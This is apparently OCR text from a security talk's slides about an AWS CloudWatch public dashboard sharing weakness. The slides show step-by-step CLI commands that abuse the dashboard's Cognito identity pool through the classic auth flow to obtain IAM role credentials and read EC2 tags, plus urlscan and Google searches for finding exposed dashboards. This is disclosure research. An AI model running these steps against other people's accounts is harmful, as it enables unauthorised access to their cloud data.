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whoami

e What Do | Do?
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It starts with a scan...




A subtle hint

Sharing CloudWatch dashboards

PDF  RSS

You can share your CloudWatch dashboards with people who do not have direct access to your AWS account. This enables you to share dashboards across
teams, with stakeholders, and with people external to your organization. You can even display dashboards on big screens in team areas, or embed them in
Wikis and other webpages.

A Warning

All people who you share the dashboard with are granted the permissions listed in Permissions that are granted to people who you share the
dashboacd with for the account. If you share the dashboard publicty, then everyone who has the link to the dashboard has these permissions.

The cloudwatch:GetMetricData and ec2:DescribeTags permissions cannot be scoped down to specific metrics or EC2 instances, so the people
with access to the dashboard can query all ClovdWatch metrics and the names and tags of all EC2 instances in the account.

https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/cloudwatch-dashboard-sharing.html

REV3IASEC
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A subtle hint

Permissions that are granted to people
who you share the dashboard with

When you share a dashboard, CloudWatch creates an IAM role in
the account which gives the following permissions to the people

who you share the dashboard with:

*+ cloudwatch:GetInsightRuleReport
*» cloudwatch:GetMetricData

e cloudwatch:DescribeAlarms

» ec2:DescribeTags

https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/cloudwatch-dashboard-sharing.html
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Look Ma, no Auth

@ AWS Management Console x  +

(] 23 cloudwatch.amazonaws.com/dashboard.html?dashboard=C a8icontext=eylSljoidXMZW e i [n} b & Incognite

a 3d Tw Custom [ | UTCtimezone v H (e} | v H b ” Actions v || Light ‘

Requests H H Safe ed

1330
_Requests

ceived

Last3d
- 3 4 5 3

Sum

9.63k
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Under the Microscope

5 Burp Suite Professional v2024.116 - Temporary Project - licensed to WithSecure Limited [150 user license] 4 Burp Suite Professional v2024.1.16 - Temporary Project - licensed to WithSecure Limited [150 user license]
Burp Project Intruder Repeater View Help Burp Project Intruder Repeater View Help
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn O search {8} Settings Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn 0 search {8} Settings
Intercept HTTP history WebSockets history {8 Proxy settings Intercept HTTP history ‘Websockets history &} Proxy settings
'V Filter settings: Not matching expression OPTIONS ® : 'V Filter settings: Not matching expression OPTIONS @ i
# - Host Method URL Params Edited Statuscode Length MIMEtype Extension Title Notes s P Coo #° Host Method  URL Params Edited Statuscode Length MIMEtype Extension Title Notes s P Coo
8  httpsilcognito-identity.us-east-1amazonaws.com poST | v 200 2153 JSON v 442065672 8 httpsijcognito-identity.us-east-1 om posT [ v 200 2153 JSON v 442065672
6 httpsifcognito-identity.us-east-1 om PoST [ v 200 2153 JSON v 442065672 6 ito-identity. 1 om POST | 2 200 2153 JSON v 442065672
[5 tity.us-east-1 om POST | v 200 422 JSON ¥ 442065672 5 dentity t-1 m POST | M 200 422 JSON v 442065672
4 httpsy/d2grizospannyb.cloudfront.net GET  1.0fimages/cloudwatch-favicon.ico 200 4780 image ico v 1324024733 4 httpsifid2gri3ospannyb.cloudfront.net GET  [1.0fimages/cloudwatch-faviconico 200 4700 image ico v 1324924733
1 https://cloudwatch.amazonaws.com GET /dashboard html?dashboard=ewl-t... v* 200 1584 HTML html CloudWatch Dashboar. v 18.165.242.51 1 https:fcloudwatch.amazonaws.com GET Idashboard html?dashboard=ewl-t... ¥ 200 1584 HTML html Cloudwatch Dashboar.. v 18.165.242.51
O | pector Dz-ox|s O | rapector -
Request Response Request Response
Pretty  Raw  Hex = Pretty  Raw  Hex Request attributes 2 vz Pretty  Raw  Hex n o= Pretty  Raw  Hex N = | Request attributes 2 v 2
—_— — <  a—— —T <
1 POST / HTTP/2 1 HTTP/2 200 OK 3 1 POST / HTTP/2 1 HTTP/2 200 0K 2
2 Host: cognito-identity.us-east-1.amazonaws.com 2 Date: Mon, 22 Jul 2024 17:40:05 GMT Request headers 2 v g 2 Host: cognito-identity.us-east-1.amazonaws.com 2 Date: Mon, 22 Jul 2024 17:40:06 GMT Request headers 2 v 8
3 Content-Length: 67 3 Content-Type: application/x-amz-json-1.1 2 Content-length: 63 3 Content-Type: application/x-amz-json-1.1
4 sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium" 4 Content-Length: 63 Response headers 7 v 4 Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium":v="122" 4 Content-length: 1792 Response headers 7~
Sec-Ch-Ua-Mobile: ?@ 5 X-Anzn-Requestid: cdc04aze-380h-480f-8eba-5120415d6d22 B 5 Sec-Ch-Ua-Mobile: 70 5 X-Amzn-Requestid: cc544963-c136-4453-9008-50847dd2fF84 B
6 User-Agent: Mozillas5.@ (Windows NT 10.0; Win64; x64) AppleWebkit/537.36 6 Access-Control-Allow-Origin: * 6 User-Agent: Mozilla/5.0 (Windows NT 1.0; Win64; x64) AppleebKit/537.36 6 Access-Control-Allow-Origin: *
(KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36 7 Strict-Transport-Security: max-age=31536000; includesubDomains z (KHTML, like Gecko) Chrome122.0.6261.112 Safari/537.36 7 Strict-Transport-Security: max-age=31536000; includeSubDomains z
7 Content-Type: application/x-amz-json-1.1 ¢ Access-Control-Expose-Headers: 3 7 Content-Type: application/x-amz-json-1.1 8 Access-Control-Expose-Headers: 2

g Cache-Control: no-store

9 X-Amz-Target: AWSCognitoIdentityService.GetId
10 X-Amz-User-Agent: aws-amplify/5.3.6 framework/@
Sec-Ch-Ua-Platform: "Linux”

Accept: *f*

3 Origin: https://cloudwatch.amazonaws.com
Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: https://cloudwatch.amazonaws.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Priority: u=1, i

20

Y
B

{
"IdentityPoolld": "us-east-1:5207
}

Search 0 0 highlights

Q&>

Event log(1)®  Allissues (33)*

x-amzn-RequestTd, x-amzn-ETTorType, x-amzn-ErrorMessage, Date

o {

“Tentatyra -us-easc-1:sose -

}

Search £ | ohighlights

@ Memory:210.3MB

6 Sec-Fetch-Dest: empty
7 Referer: http

9 Accept-Language: en-US,en;g-2.9

A&</>

Event log (1)*

Cache-Control: no-store

X-Amz-Target: AWSCognitoIdentityService. GetCredentialsForldentity 9
X-Amz-User-Agent: aws-amplify/5.3.6 framework/® 10 {

Sec-Ch-Ua-Platform: "Linux” "Credentials”:{

Accept: */* "AccessKeyId": "AST

Origin: https://cloudwatch.amazonaws.com .721673606E9,
Sec-Fetch-Site: cross-site
Sec-Fetch-Mod cors

Xx-amzn-RequestId, x-amzn-ETTorType, x-anzn-ETTorMessage  Date

"SecretKey":
"SessionToken" :
"1Q0Jb3

/cloudwatch.amazonaws.com/
Accept-Encoding: gzip, deflate, br

Priority: u=

"TdentityTd

Search p

h £ ohighlights &e >

Allissues (35) *

0 highlights

@ Memory:210.3MB.

CognitoIldentity:getID( identityPoolld )

- identityId

CognitoIdentity:getCredentialsForIdentity(identityId

- credentials{}
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Under the Microscope

Easy, just 2 API
calls to the Cognito Service
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In-Cognito Authentication

« Cognito-based Authentication Flow
« Enhanced (aka simplified) authflow

« a pattern for “delivering temporary, limited-privilege

AWS credentials to an application needing to access

AWS resources”

* All the app needs is an
|dentity Pool ID

Order of operations in Enhanced authentication

1. GetId

2. GetCredentialsForIdentity

] & @B ;.

Device Login Provider Amazon Cognito AWS STS
Login

Getld

«— yalidation ————>

GetCredentialsForldentity

& validation ———>

https://docs.aws.amazon.com/cognito/latest/developerguide/authentication-flow.html

REV3IASEC
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context is Key

$ echo "eyJSIjo

aWMifQ==" | base6d -d | jq .

Field Example Value

R

D
U
C
I

us-east-1

cw-db-112233445566

us-east-1 AaBb45dde

el8aipaaaabbbbakdm7rc56kk
us-east-1:52073456-1234-4567-89ab-123456789600d

arn:aws:iam: :112233445566:role/service-
role/CWDBSharing-PublicReadOnlyAccess-DSTM21S9

Public

REV3IASEC

Description

Region of resources

Cognito Identity Pool ID
An IAM Role ARN?

Sharing mode?
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Whatever, show me the tags

$ aws ec2? describe-tags —--profile da

An error occurred (UnauthorizedOperation) when calling the Describdg 4 perform this operation. User: arn:aws:sts::25 84 :assumed-
role/CWDBSharing-PublicReadOnlyAccess-T8U015QE/CognitoIdentityCredd dd: :DescribeTags because no session policy allows the ec2:DescribeTag
s action 4

REV3IASEC 2






Reproduction Notes

The user is warned of the risk of public sharing.

Multiple Times

CloudWaich » Dashboards » ewl-tesipublic-tsacle > Share dashboard » Public access dashboard

Share dashboard ew1-testpublic-tsaole

Public access dashboard

ring CloudWatch dashboards

Share your CloudWatch dashboards with people who do not have direct access to your AWS account. This enables you to share dashboaeds across

h stakeholders, and with people external to your organization. You can even display dashboards on big screens in team areas, or embed them in

/A CAUTION: You are about to make this dashboard publicly accessible

We recommend that you sharipg

information. We recommend {
when sharing dashboards.
When you make a dashboard
which hosts the dashboard. Al
dashboard

The web page provides tempc
guery alarms and contributor i
names and tags of all EC2 ins
you share. We recommend th
available

B 4 @ @

Ireland v

Y

CloudWatch > Dashboards

Custom dashboards Automatic dashboards ]

/A CAUTION: We recommend that you share dashboards publicly only if your account does not contain sensitive information, as this will provide anyene with a link to the dashboard with access to all CloudWatch metrics, alarms, Contributor Insights rules and the names and tags of all EC2 instances in the account, even if they are not shown in the Dashboard which you share. X ‘

Custom Dashboards (1) nfo Share dashboard Create dashboard
To enable public access 1o the
D ‘ Q Filter dashboards ‘ 1 @
your account: Cognito user pc
For further information about ¢
Name v | Sharing | Favorite a Last update (UTC) v
share, read our documentatiol
‘ o ew1-testdashboard A Publicly shared * 2024-07-22 13:08

To confirm that you wish to make this dashb

below.

Share

To be able to share logs or composite alarms from your account, you must follow the instructions in Sharing Cloudy

h Dashboards. [

Cancel ‘Ceonfirm and preview policy

25
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Reproduction Notes

* The user is warned of the risk of public sharing. Multiple Times

« Cognito is what facilitates the public exposure of account data

“Shadow Resources” Created Upon Sharing

Customer AWS account

o

—

Cognito Identity Pool Cognito User Pool Cognito App Client IAM Role

https://www.aquasec.com/blog/bucket-monopoly-breaching-aws-accounts-through-shadow-resources/
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Reproduction Notes

* The user is warned of the risk of public sharing. Multiple Times

CloudShell Feedback

« Cognito is what facilitates the public exposure of account data

« All set up done by CloudWatch (Console invoking APIs*)

no User involvement

'k [0  FElements Console  Sources  Net Performance  Memory  Application
® @ Y Q M@Pesevelog O Dissblecache Nothrotiing ¥ & 1 &
1 5000 ms 1 1500
Name * X Headers
(i} 2024072413141575-7401547356144224 v Generz

[ cognito-identity.us-sast-1amazonaws.com
i} 20240724131415
¥ 20240724131415474-4203088601863454

[ cognite-dentity.us-sast-1.amazonaws.com

} panoramaroute

Services | Q 5

@ The dashboard ew1-userpassdashboard has been successfully shared.
Open in a new tab [4

CloudWatch » Dashboards » ew1-userpassdashboard

ew1-userpassdashboard v

Log group: /aws/eks/spartaCluster/cluster

Securiy lighthouse  Recorder Performance i

Payload Preview Response Intiator  Timing

AdBlock

50000 ms

—
I Request URL:

Rttpsy/ cogn to-identity.us-ast- | amazonaws com, I

-8211624758800968

Referrer Policy:

[ cognits-idp.us-east- T amezenawis.com

' aders (7]
O cognito-idp.us-east-1.amazonaws.com > Response Headers (7)
) cognito-idpus-sast-1.amazenaws.com ¥ Request Headers

i} pancramaroute sauthority:

O cognito-idp.us-east-1.amazonaws.com :methed:

{ir 20240724131415846-5207638225007654

O cogrito-idp.us-east-1.amazonaws.com

D) cognito-idp.us-east-1.amazonaws.com Accept:

G} 20240724131416207-6365597 166670958 Accept-Encoding:
Bik0=ajaxStatus2008m0=1318p0=cwBul=msak] =ajaxStatu..,.  Accept-Language:

O cognito-identity.us-east-1.amazonaws.com Authorization:

[ cognito-identity.us-ast-1.amazonaws.com Cache-Control:

{7} 20240724131416576-5420773600743652

[ cognito-ident

us-gast-1.amazonaws.com

[ cognito-identity.us-east-1.amazonaws.com Origin:
) 20240724131416933-6450782121159202 Pragma:
O cognito-idp.us-gast-1.amazenaws.com Ehoty:
Referer:
ast-1.amazonaws.com
Sec-Ch-Ua:

) panoramaroute
) 20240724131417356-4134584840761816

Sec-Ch-Ua-Mebile:

Sec-Ch-Ua-Platform:

) pancramaroute

(i 20240724131417702-6712004414722906

Sec-Fetch-Dest:
Sec-Fetch-Mode:

Bik0=ajaxStatus2008m0=1308p0=cnBud=ms8k] samStatu.. o o
O cognito-idp.us-east-1.amazenaws.com User-Agent
D) cognito-idp.us-gast-1.amazonaws.com e
) 20240724131418203-6931845421100896 Y-Amz-Date:

{ir 20240724131418203-2420000538955556

O cognito-idpuus-zast-1.amazonaws.com X-Amz-Security-Token:

[ cogrito-idp.us-east-1.amazonaws.com

[ cognite-idp.us-east- 1 amezenaws.com

D cogrito-idp.us-east-1.amazonaws.com

() 20240724131418620-3980685602821642 X-&
[ cognite-idp.us-east-1 amezonsws.com mem
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Request Method: PO
Status Code: ' 200 OK
Remote Address: 34.199.89.103:443

X-Amz-Requested-Operstion:

strict-origin-when-cross-origin

cognita-ident
POST

;

https

g

y.us-east-1.amazanaws.com

geip, defiate, br, zstd

en-GBen-Usq=03 enq=08 elq=07

AWSA-HMAC-3HA256 Cradential= ASIATWXQUXSEGEHFTVGA/20240724/us-zast-1 fcognito-identiny/awsé_re
no-cache

232

spplication/x-amz-json-1.1

hitps://us-gast-1.console.aws.amazan.com
no-cache

ust,i
hitpsi//us-cast-1.consele.awsamazen.com/
“Not/A)Brand"v
70

“Windows"

empty

", “Chremium"s

1267, "Google Chrome";

cors

cross-site

Morzilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecka) Chrome/126.0.0.0 Safarif
Tfba225ca65b5775fc 1eedafe324463eb0c1621e9b247591d3002cecTd983532

20240724T1314147

createldentityPool

R g 18 18 VA 0 |1 1o+ U g1 Lo 11

AWSCogniteldentityService.CreateldentityPocl I

Lo e B s el 2
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Viewer Flow

</>

cloudwatch.amazonaws.com/ .. %

Amazon CloudWatch

REV3IASEC

N LS

E =resource region=

I

Amazon CloudWatch
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Viewer Flow

1. User visits a Dashboard link (incl.

n CloudWatch

cloudwatchamazonaws.coml._ % . T ------------------------------------------------------------------------ T
\'\\ < = 1
& |
|
N\

Amazon CloudWatch
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Viewer Flow

1. User visits a Dashboard link (incl.

2. Dashboard app’s client-side code is
retrieved from Amazon CDN

)

cloudwatch.amazonaws

REV3IASEC
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Viewer Flow

& <>

cloudwatch.amazonaws.com/... %
“

1. User visits a Dashboard link (incl. )

2. Dashboard app’s client-side code is
retrieved from Amazon CDN

3. Dashboard app gets temp AWS creds
from Cognito — Enhanced flow

CognitoIdentity:getCredentialsForIdentity(identityId )

|8
1
CognitoIdentity:getID( identityPoolId ) cEES

REVIASEC



Viewer Flow

\F [</> | |
. . . . : Amazon Cognito Amazon CloudWatch :
1. User visits a Dashboard link (incl. ) o s L |
\ N 3 @3;"“8 /4/
2. Dashboard app’s client-side code is U
retrieved from Amazon CDN
|8
3. Dashboard app gets temp AWS creds
from Cognito — Enhanced flow E
CognitoIdentity:getID( identityPoolId )
CognitoIdentity:getCredentialsForIdentity(identityPoolId ) CEES

4. Dashboard app pulls Manifest: Alarms, Metrics names

CloudWatch:getDashboard( dashboardName )
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Viewer Flow

&G [<r>

cloudwatch.amazonaws.com/... %

1. User visits a Dashboard link (incl. )

2. Dashboard app’s client-side code is
retrieved from Amazon CDN

3. Dashboard app gets temp AWS creds
from Cognito — Enhanced flow

CognitoIdentity:getID( identityPoolId )

CognitoIdentity:getCredentialsForIdentity(identityPoolId )

4. Dashboard app pulls Manifest: Alarms, Metrics names

CloudWatch:getDashboard( dashboardName )

5. Dashboard app pulls Alarm, Metrics data

CloudWatch:describeAlarms( alarmNames,alarmTypes )

CloudWatch:getMetricData ( defaults,metrics )

@é)

Amazon Cognito

I

Amazon CloudWatch

I

Amazon CloudWatch




permission
denied...

Great. But we're

|
understand
now

getting that error,
remember?

PERMISSION
DENIED
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Others were wondering
about this error too...

=] aws / aws-sdk-js  Public L\ Notifications % Fork 15k ¥% Star 7.6k

<> Code () Issues 1 11 Pullrequests 2 Q) Discussions  (5) Actions [ Projects @ Security [+ Insights

Cognito unauthenticated user not authorized to perform: ssm:GetParameter @
because no session policy allows #4303

(@) Closed as not planned

e RanVaknin commented on Jun 22, 2023 Contributor

Hi everyone,
After further investigation we have reached a conclusion that this operation s working as expected. This was provided as a Fﬂr addltlﬂna |' SE‘CLIFIt}" prDte [tl Dn" Amazon ':Gg nItD applles d 500 pE-dﬂWf‘I pD llcy tD
convenience method so that customers wont have to implement the Enhanced (simplified) auth flow explicitly. It works the same

credentials that you assign your unauthenticated users in the enhanced flow, using

way as if you were to call the underlying methods directly with the Cognito client.

In order to supply an explicit session policy that allows S5M / any other operations that are not allowed on the Default Session Getc r‘EdE ntiﬂ ]_ S FDI"IdEnt ity . ThE‘ Scﬂpe-down pD“Cy addE dan | rll.| ne SESSiD n leiC}-’ d nd
Policy, you will need to use a different auth flow. For example, the "Basic (classic) authflow" which would require you to use
Cognito client to call GetTd() , and GetOpenIdToken() , and after getting the token, you will need to use TS client to call an AWS ma nag Ed EESSiU n FI'DI |,cl_.',r to thE |AM pD“[iEE th at YDU apply to yﬂur

assumeRoleblithklebIdentity() which takes a session policy ( Policy ) as an argument.

unauthenticated role.

| have created a doc update to highlight this limitation.

At this time we have no plan en adding / expanding this convenience method as it doesn't exist in all SDKs. If you would like to
see it being added. you can create a feature request in the aws-sdk general repo, there it will be prioritized based on customer

engagement (upvotes, comments, etc)

Thanks again for all of your patience,

docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html
(@]

github.com/aws/aws-sdk-js/issues/4303
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Revisiting IAM Policies & Permissions

Resource-based
policy

|dentity-based
policy

Effective Policy

(Default/Inline)
Session

policy



Resource-based
policy

Effective Policy

(Default/Inline
Session

policy

\/ cloudwatch:¥

|dentity-based
policy
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What If...

Resource-based
policy

Basic (Classic)

Identity-based

Flow policy

custom

Effective Policy Session policy



Can a dashboard viewer
initiate a Basic authtlow
against the dashboard’s
Coghnito resources?



The Attack

EEEEEEEE



Attack Flow

cloudwatch.amazon

aws.com/

REV3IASEC
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Attack Flow e

1. Attacker extracts from
(0) IAM role ARN
(1) Identity Pool |

cloudwatch.amazonaws.com/
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Attack Flow

(==

D>

1. Attacker extracts from i — — T |
« (0) IAM role ARN 2
« (I) Identity Pool ID i

2. Attacker acquires an Identity from the cu

Cognito ldentity pool

$ aws cognito-identity get-id --identity-pool-id "us-east-1:52..."
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Attack Flow

(s

Dl

1. Attacker extracts from —— e —
« (0) IAMrole ARN
« (I)Identity Pool ID
2. Attacker acquires an Identity from the -
Cognito ldentity pool |
$ aws cognito-identity get-id --identity-pool-id "us-east-1:52..." 3 J
3. Attacker requests an OpenlID Connect |
(OIDC) token for this identity e : 8

$ aws cognito-identity get-open-id-token --identity-id "us-east-1:3b5e..."
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Attack Flow

(=

D>

1. Attacker extracts from —— — T
« (0) IAM role ARN |
« (I)Identity Pool ID
2. Attacker acquires an Identity from the -
Cognito Identity pool |
$ aws cognito-identity get-id --identity-pool-id "us-east-1:52..." 3 J
3. Attacker requests an OpenlD Connect |
(OIDC) token for this identity e : 8

$ aws cognito-identity get-open-id-token --identity-id "us-east-1:3b5e..."

4. Attacker trades the OIDC token for
temporary credentials of the target IAM role

$ aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::11..." --web-identity-token "eyJra..."
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Attack Flow

D>

1. Attacker extracts from "
« (0) IAM role ARN
« (I) Identity Pool ID
2. Attacker acquires an Identity from the
Cognito ldentity pool

$ aws cognito-identity get-id --identity-pool-id "us-east-1:52..."

J d Amazon EC2

3. Attacker requests an OpenlID Connect 1
(OIDC) token for this identity 8

$ aws cognito-identity get-open-id-token --identity-id "us-east-1:3b5e..."

4. Attacker trades the OIDC token for
temporary credentials of the target IAM role

$ aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::11..." --web-identity-token "eyJra..."

5. Attacker can now read EC2 tags

$ aws ec2 describe-tags
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Attack Flow

—_—
; -_—
= Yy : = oy A RTINS a = LIE ™ A S

$ aws ec2? describe-tags --profile stolen --region eu-west-1
"Tags": [
£

1. Attacker extracts from ] L

Ilkeyll: IlNamell‘

» (0) IAM role ARN T o e B
« (I) Identity Pool ID USRS OIS '
2. Attacker acquires an ldentity frg S
Cognito Identity pool R

"Value": "ewl-he —igw"

$ aws cognito-identity get-id --identif
"Hey": "Contact",
"ResourceId": "igw—@cubaSS",
3. Attacker requests an OpenID Cc¢ "ResourceType": "internet-gateway",

. . . "Value": "al @withsecure.com"
(OIDC) token for this identity I

"Key": "CostCenter",

$ aws cognito-identity get-open-id-toke "Resourceld": "19'{-‘“9':”ba33_"a
"ResourceType": "internet-gateway",
"Value": "37660"

Attacker trades the OIDC token
temporary credentials of the tar Resourcezan:’ wigu-ocabas: S

"ResourceType": "internet-gateway",

i : ; " e": "en1-JEEG
$ aws sts assume-role-with-web-identit CRLET e

5. Attacker can now read EC2 tags

$ aws ec2 describe-tags

REV3IASEC

47



Gone Hunting

O

urlscan. AHome Qsearch @tive BEAPI #Biog MbDocs @rricng L Login
Search for domains, |Ps, filenames, hashes, ASNs

Searchresults

tch.amazonaws.com/d
1400:9:1000:c680:93
16509 (AMAZON-02, US)

hboard.html?dashboard=hakata-dash&context=eyJSljoid...
1-Server: AmazonS3

tch/CloudWatch/data/plugins.Get PluginConfigs/20..
Server: AmazonS3

URL: cloudwatch.amazonaws.com/dashboard.htmi2dashboard=VPN-Dashboard&context=eySljo.
smeralda.monitor.i
:9:1000:c680:93a1 - Server: AmazonS3

sa.comy

1000:c630:9321 - Server: AmazonS3
9 (AMAZON-02, US)

iew&context
wU4eyL7Y3LisiMVzkWuab...

4
509 (AMAZON-02, US)

URL: cloudwatch.amazonaws.com/dashboard.html?dashboard=UCI_Public&context=eyJSljoidX...
1P: 2600:2000:2 00:17:4¢ a1 - Server: A
509 (AMAZON-02, US)

53

Tags:  falconsandbox

URL: cloudwatch.amazonaws.com/dashboard.htmi?dashboard=UCI_Public&context=eyJSljoidX...
f:26 :c00:93a1 - Server: Amazo

509 (AMAZON-02, US)

URL: cloudwatch.amazonaws.com/
Downloaded Fil
300

URL: cloudwatch.amazonaws.comy urphy-services&context=eyJSl...
Redirect from: murphy-services-dashl
1P: 2600:900 200:17:46c7:c00:93a1 - Server: AmazonS3

509 (AMAZON-02, US)

ISljoid...

200

Sec
=

Q Search @ Help

" Showing All Hits | @ Details: Visible

Age Size
14 hours 5MB
Viaz manual

2months 7KB
Viaz manual

3months 5MB
Via: automatic

Src: certstream...

4months 189 KB
Viaz api

6 months 1998
Viaz api

8months 151KB
Viaz api

1year 4MB
Viaz manual

2vyears 4MB
Via: api

2years 4MB
Viaz manual

2years

Viaz manual

531KB
Via: automatic
Sre: o

stream...

{11 resultsin total, 11 shown)

&

79

w

IS

60

0
4

o
7]

N}

IPs.

7

1

ilf'ityTrai Is

ded Future’

L
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Google

inurl:https://cloudwatch amazonaws.com/dashboard.himl -corporate

Al Images Videos News

Books Maps Flights ¢ More

B Amazon
hitps://cloudwatch amazonaws com » dashboard  §

CloudWatch Dashboard Sharing - AWS

B Amazon
hitps://cloudwatch amazonaws com » dashboard  §
Signin

x & @

Sign in with your username and password. Username. Password. Forgot your password? logo

Sign in with your usemame and password. Usemame. Password.

ﬂ Amazon
hittps://cloudwatch.amazonaws.com » dashboard  §
Signin

Sign in with your usemame and password. Usemname. Password. Forgot your password? logo

Sign in with your usemame and password. Usemame. Password.

E Amazon
https://cloudwatch. amazonaws.com » dashboard  #
Signin

Sign in with your usemame and password. Username. Password. Forgot your password? logo

Sign in with your usemame and password. Usemame. Password

B Amazon
hitps:/icloudwatch.amazonaws.com » dashboard  §

Signin

Sign in with your usemame and password. Usemname. Password. Forgot your password? logo

Sign in with your usemame and password. Username. Password.

E Amazon
https://cloudwatch amazonaws com » dashboard  #
Signin

Sign in with your usemame and password. Username. Password. Forgot your password? logo

Sign in with your usemame and password. Username. Password.

ﬂ Amazon
hitps://cloudwatch amazonaws com » dashboard  #
Signin

Sign in with your username and password. Username. Password. Forgot your password? logo

Sign in with your username and password. Username. Password.

Toals
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Gone Hunting

EWN-Application-Status-Hub-PUBLIC

Climatics Web Application

1w Custom UTC timezone ¥ Actions A

Replay dashboard
Climatics Web App Status ClimaticsCustomerApi-prod Master ...

Live data override
Property Climate Report

Period override

Link charts
Property Climate Report Website St... Report Viewer Status

EWN Auxiliary Web Availability

AZ_PROD_PRODEWNWEB_VMAvail...

Munzee-API-Server-Info-Public

UTC timezone

Tw Custom
Munzee v2 API Server Target Response Time (normal less than 1 sec - if > than 10 seconds for 5 min - alarms sent)

Actions ¥
Seconds

0.768

07:55 08:00 08:05 08:10 08:15 08:20

09:05 09:10 09:15 09:20 09:30

10:00 10:10 10:20 10:30
API Server Request Errors (if over 1,000's for more than 5 minutes then alerts are sent)

Count

2

07:55 08:00 08:05 08:10 08:15 08:20 08:25 08:35 09:00 09:05 09:10 09:15 09:20 09:30

09:45 10:00 10:10 10:15 10:20 10:30
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Gone Hunting

# of dashboards username+password shared

# of dashboards Publicly shared > +
H# of dashboards SSO-shared

REVIASEC
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Is It such a big deal?

I & 5

* Amazon clearly advises against putting sensitive data in Denying access to DescribeTags doesn't automatically deny access to
EC2 tags.... tags returned by other APls. As a best practice, we recommend that you

- ..but we all know customers don't follow this do not include sensitive data in your tags.
(PIl, owner contact details, credentials...)

https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html

Permissions of IAM role are canned, set by Amazon code
=users won't modify manually if /it works™

* unless they want to add more features?
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More Features = More Permissions

:FilterLogEvents "Resource":[
:StartQuery "SharedLogGroupl",
:StopQuery "SharedLogGroup2"
:GetLogRecord

Allg logs table widgets :DescribelogGroups

"Resource":["Functionl"]

2 custom widgets
\\\\‘ lambda:InvokeFunction

\\\\\\

»or kY

— __ \" N\ 4 2 .
— - . g
- o * k

summitroute.com/blog/2020/06/08/denial _of wallet attacks on_aws/

EoNLY.1,

imgfiip.com
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oot Cause Analysis

Documentation Amazon Cognito API Reference

L]
‘ re a t e I d e n t I ty P o 0 l Amazon Cugnito X Amazon Cognito » Identity pools » CW_ew1-testdashboard

CW_ew1-testdashboard .

User pools New

$ aws cognito-identity describe-identity-pool --identity-pool-id "us-east-1:85
g y y-p y-pP

_d a62c" —--region us-east-1

L

"Al lowl "IdentityPoolId": "us-—east-1: Ss_iaﬁzc“,
"IdentityPoolName": "CW_ewl-testdashboard",
"Allowl "AllowUnauthenticatedIdentities": true,

{

- "CognitoIdentityProviders”: [
{ "ProviderName": "cognito—idp.us—east-1.amazonaws. com/us—east—l_yy'\-l"lg Ui
"ClientId": "1n®
"ServerSideTokenCheck":
}
1.
"IdentityPoolTags": {}
] User statistics Identity browser User access Identity pool properties Other properties
3
"DeveloperProviderName": "string",
"Tdent ityPool Id": "s tf"‘ing“ Basic (classic) authentication info
. £l
Activate the classic authentication flow if your app relies pn separate API reg ken, and ti assume a role using that token. When you activate the classic flow

"IdentityPoolName™: "string",
"IdentityPoolTags™: { Basic authentication

"string" : "string"
1.

"OpenldConnectProviderARNs"™: [ "string" 1,

“"SamlProviderARNs™: [ "string" ],
"SupportedLoginProviders": {
"string" : "string"

REV3IASEC

54



Root Cause Analysis

Services Q

©® The dashboard ew1-userpassdashboard has been successfully shared.
Open in a new tab [4

CloudWatch » Dashboards » ewl-userpassdashboard

ew1-userpassdashboard v ¥

Log group: faws/eks/spartaCluster/cluster

[ CloudShell  Feedback

[0 Elements Console Sources Metwork Performance Memory Application Security Lighthouse Recorder Performance insights 24 AdBlock
@ Y Q Preserve log Disable cache Mothrottling ¥ %8 1L &
| 5000 ms 10000 ms 15000 ms 20000 ms 25000 ms 30000 ms 35000 ms 40000 ms 45000 ms 50000 ms 55000 ms 0000 ms 65000 ms 75000 ms 80000 ms

Name “l X Headers Payload Preview Response Initistor  Timing
F 2024072413141575-7401547356144224

¥Request Payload view source
[ cognito-identity.us-east-1.amazonaws.com

¥ {AllowUnauthenticatedIdentities: false, IdentityPoolName: "CloudWatchDashboardSharing”,..}

D cognito-identity.us-east-1.amazonaws.com AllowUnauthenticatedIdentities: false

{} 20240724131415473-8211624758800968 ¥ CognitoIdentityProviders: [{ClientId: "625iBagf@dsj3juh77nfngml52",..}]
{3} 20240724121415474-4202082601863454 ¥ 8: {ClientId: "625i8aqf2dsj3juh77nfngml52”,..}

o ~ " ClientId: "625i8agf@dsji3jun77nfngmls2”

* paneramaraute Provideriame: "cogni idp. east-1.amazcnaws . com/us 1

[ cognito-idp.us-east-1.amazonaws.com IdentityPoolName: "Clo

hDashboardSharing”
[ cognito-idp.us-east-1.amazonaws.com

[ cognito-idp.us-east-1.amazonaws.com

1} panoramaroute

O cognito-idp.us-east-1.amazonaws.com

{7} 20240724131415846-5207628225007654

[ cognito-idp.us-east-1.amazonaws.com

[ cognito-idp.us-east-1.amazonaws.com

{7} 20240724131416207-6365597166670958
Ek0=zjaxStatus2008m0=1318p0=cwBiul=ms8ik] =ajaxStatu..,

[ cognito-identity.us-sast-1.amazanaws.com

O cognito-identity.us-sast-1.amazonaws.com

(7} 20240724131416575-5429773600743652

REV3IASEC
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Root Cause Analysis

Unauth EC2 Tag*
~ Exposure
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“Fail Open” in Cognito

O aws / aws-cli

<> Code (©) Issues 476 11 Pull requests 116 L)) Discussions () Actions [ Projects 1 @ Secur

default configuration| was the

get-open-id-token allowed on identities from pools

with no AllowClassicFlow value #7652 dition in Amazon Cognito.

1 released. This post will aim to

access, and to provide an in-
act evaluation, along with

g-soon closed-for-staleness | and removed

REV3IASEC

~( Commented [SB2]: This is a secure by default issue.

. pools.

AT R A e W T A A ] TR T B D TN T BT T S R S it 0 R Wl W R S R St R |

—
L__dersing_Tags.html

